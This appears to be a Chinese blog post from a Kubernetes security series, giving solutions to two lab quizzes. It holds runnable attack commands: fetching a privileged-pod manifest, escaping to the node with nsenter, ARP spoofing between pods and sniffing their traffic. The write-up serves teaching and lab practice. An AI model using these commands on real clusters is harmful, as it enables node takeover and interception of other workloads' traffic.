iT邦幫忙

2023 iThome 鐵人賽

DAY 30
0

Yes

  1. quiz-4
# 會發現透過 shell 輸入沒辦法傳遞資料
./kubectl -s "https://10.96.0.1" --insecure-skip-tls-verify=true get pods ; 

# 看 kubectl 支援的參數,有沒有可能直接從參數帶進去
./kubectl options ;

# 直接在參數帶入 username 資訊,成功取得 pods 資訊
./kubectl -s "https://10.96.0.1" --username=asd --insecure-skip-tls-verify=true get pods ; 

# 抓取建立特權容器腳本
wget http://192.168.56.116:8080/priv_pod.yaml ;
./kubectl -s "https://10.96.0.1" --username=asd --insecure-skip-tls-verify=true create -f priv_pod.yaml ;

./kubectl -s "https://10.96.0.1" --username=asd --insecure-skip-tls-verify=true exec -it test -- bash ;

nsenter -m -u -i -n -p -t 1 bash ; 

cat worker4_flag ;
# 看一下目前有哪些 nodes
./kubectl -s "https://10.96.0.1" --username=asd --insecure-skip-tls-verify=true get nodes ;

# 在 worker node 上面打上汙點
./kubectl -s "https://10.96.0.1" --username=asd --insecure-skip-tls-verify=true taint nodes minikube-m02 node-role.kubernetes.io/control-plane:NoSchedule ; 

# 刪除原本建立的特權容器,避免名稱衝突
./kubectl -s "https://10.96.0.1" --username=asd --insecure-skip-tls-verify=true delete -f priv_pod.yaml ;

./kubectl -s "https://10.96.0.1" --username=asd --insecure-skip-tls-verify=true create -f priv_pod.yaml ;

./kubectl -s "https://10.96.0.1" --username=asd --insecure-skip-tls-verify=true exec -it test -- bash ;

nsenter -m -u -i -n -p -t 1 bash ;
  1. quiz-5
  • 這題很抱歉有出錯,因為當初我這邊只測試單一節點的環境就以為都可以做 arp spoofing,所以導致切換到多節點的環境上就出錯了,不過沒關係這邊我會先做一次說明哪邊有問題。/images/emoticon/emoticon06.gif

  • 該題跟之前介紹的不同,這次可能有跨網段的議題,這部分可以參考鳥哥的 第二章、基礎網路概念

  • 先做主機偵查動作,這邊要安裝 nmap 進行主機探測。

apt update && apt install -y nmap dsniff ;

# 觀察目前所在網段
ip a ;

# 觀察目前設定的 default gateway
route -n ;

# 透過 nmap 指令進行 ping scan,並觀察得到的結果
nmap -sn 10.244.0.8/24 ;
  • 推測因為 service 有選擇到對應的 pod,所以可以從顯示的資訊去推測哪幾個 pod 是我們的目標。以下列資料為例,10.244.0.9 是 server,而 10.244.0.10 應該是 client。
Nmap scan report for 10-244-0-9.service-quiz5-server.quiz-5.svc.cluster.local (10.244.0.9)
Host is up (0.000021s latency).
Nmap scan report for 10.244.0.10
Host is up (0.00030s latency).
Nmap scan report for 10.244.0.1
Host is up (0.0000040s latency).
MAC Address: 22:87:36:A1:B5:F1 (Unknown)
Nmap scan report for quiz-5 (10.244.0.8)
Host is up.
  • 接下來要進行 arp spoofing,那這邊就開始來進行欺騙,但很快就會發現環境有問題。/images/emoticon/emoticon26.gif
# 會出現錯誤訊息
arpspoof -i eth0 -t 10.244.0.9 10.244.0.10 ;
  • 跳回宿主機用命令看一下 arp 指令的狀態,會發現 arp 部分少的可憐。這邊不確定 minikube 在多節點上做了甚麼事情,但看起來環境的確不太一樣。
kubectl exec -n quiz-5 -it quiz-5-server -- arp -a ;
  • 改以單一節點方式進行解題。
minikube delete && minikube start ;
git clone https://github.com/aeifkz/2023_K8s_Security.git ;
kubectl create -f 2023_K8s_Security/quiz-5.yaml ;
  • 重複上述步驟。
apt update && apt install -y nmap dsniff ;

# 觀察目前所在網段
ip a ;

# 觀察目前設定的 default gateway
route -n ;

# 透過 nmap 指令進行 ping scan,並觀察得到的結果
nmap -sn 10.244.0.8/24 ;
  • 這邊才開始分析一下目前的架構,參考如下圖。
    https://ithelp.ithome.com.tw/upload/images/20231008/20148308pkDbC2fXuL.jpg
# 這邊就兩兩都騙
arpspoof -i eth0 -t 10.244.0.10 10.244.0.1  > /dev/null  2> /dev/null &
arpspoof -i eth0 -t 10.244.0.1 10.244.0.1  > /dev/null  2> /dev/null &

arpspoof -i eth0 -t 10.244.0.9 10.244.0.1  > /dev/null  2> /dev/null &
arpspoof -i eth0 -t 10.244.0.1 10.244.0.9  > /dev/null  2> /dev/null &

arpspoof -i eth0 -t 10.244.0.9 10.244.0.10 > /dev/null  2> /dev/null &
arpspoof -i eth0 -t 10.244.0.10 10.244.0.9 > /dev/null  2> /dev/null &
  • 再回到宿主機透過指令去看監聽的結果。
kubectl sniff  -n quiz-5 quiz-5 ;
  • flag{The_Quintessential_Quintuplets}
    https://ithelp.ithome.com.tw/upload/images/20231008/20148308MCDUXKJxLD.jpg

  • 今日總結 :

    • 本日回顧 :

      • 真的是太丟臉了,居然出錯題目QQ。下次出題目前會先確認是我考試的環境跟解題的環境是一致的,也算是一個慘痛的教訓。不過這也凸顯出網路的世界是真的博大精深,我還是看不出來單一節點跟多節點網路的差異QQ。
    • 次日預告 :

      • 完賽的部分主要就是講一下之後更新的方向、參考的資源以及一些心得吧。

上一篇
Day32 - 作業6 解答 - 成功安裝 ksniff 插件並且進行 pod 監聽
下一篇
Day32 - 完賽心得 (含說明大型翻車現場)
系列文
怕痛的我把 Docker、K8s 攻擊、防禦、偵測力點滿就對了63
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言